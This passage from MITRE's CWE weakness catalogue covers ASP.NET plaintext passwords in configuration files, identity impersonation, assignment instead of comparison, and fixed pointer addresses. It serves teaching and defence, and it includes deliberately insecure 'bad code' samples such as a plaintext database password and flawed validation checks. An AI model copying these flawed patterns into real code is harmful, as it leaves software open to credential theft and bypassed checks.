Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings, Type
2009-07-27CWE Content TeamMITRE
updated Other_Notes
2011-03-29CWE Content TeamMITRE
updated Common_Consequences, Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11ASP.NET Misconfiguration: Input Validation

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

+ Potential Mitigations

Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsASP.NET Misconfiguration: Password in Configuration File
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-103] Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". <https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff647398(v=pandp.10)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-104] Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". <https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff650304(v=pandp.10)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-105] Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". <http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, References, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2018-03-27CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID: 556
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.
+ Extended Description
The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11ASP.NET Misconfiguration: Identity Impersonation

CWE-481: Assigning instead of Comparing

Weakness ID: 481
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses an operator for assignment when the intention was to perform a comparison.
+ Extended Description
In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.480Use of Incorrect Operator
CanPrecedePillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.697Incorrect Comparison
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

(bad code)
Example Language:
int isValid(int value) {
if (value=100) {
printf("Value is valid\n");
return(1);
}
printf("Value is not valid\n");
return(0);
}
(bad code)
Example Language: C# 
bool isValid(int value) {
if (value=100) {
Console.WriteLine("Value is valid.");
return true;
}
Console.WriteLine("Value is not valid.");
return false;
}

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

(bad code)
Example Language:
void processString (char *str) {
int i;

for(i=0; i<strlen(str); i++) {
if (isalnum(str[i])){
processChar(str[i]);
}
else if (str[i] = ':') {
movingToNewInput();}
}
}
}

Example 3

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

(bad code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (isValid = true) {
System.out.println("Performing processing");
doSomethingImportant();
}
else {
System.out.println("Not Valid, do not perform processing");
return;
}
}

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

(good code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (isValid) {
System.out.println("Performing processing");
doSomethingImportant();
}
else {
System.out.println("Not Valid, do not perform processing");
return;
}
}

Alternatively, to test for false, just use the boolean NOT operator.

(good code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (!isValid) {
System.out.println("Not Valid, do not perform processing");
return;
}
System.out.println("Performing processing");
doSomethingImportant();
}

Example 4

The following example demonstrates the weakness.

(bad code)
Example Language:
void called(int foo){
if (foo=1) printf("foo\n");
}
int main() {

called(2);
return 0;
}
+ Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will produce an error.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAssigning instead of comparing
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingEXP45-CCWE More AbstractDo not perform assignments in selection statements
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID: 587
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product sets a pointer to a specific address other than NULL or 0.
+ Extended Description
Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.344Use of Invariant Value in Dynamically Changing Context
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

C# (Undetermined Prevalence)

Class: Assembly (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If one executes code at a known location, an attacker might be able to inject code there beforehand.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; Reduce Maintainability; Reduce Reliability

If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.
Confidentiality
Integrity

Technical Impact: Read Memory; Modify Memory

The data at a known pointer location can be easily read or influenced by an attacker.
+ Demonstrative Examples

Example 1

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

(bad code)
Example Language:
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

+ Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingINT36-CImpreciseConverting a pointer to integer or integer to pointer
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Other_Notes, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Common_Consequences, Weakness_Ordinalities
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-563: Assignment to Variable without Use

Weakness ID: 563
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The variable's value is assigned but never used, making it a dead store.
+ Extended Description
After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.
+ Alternate Terms
Unused Variable
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1164Irrelevant Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
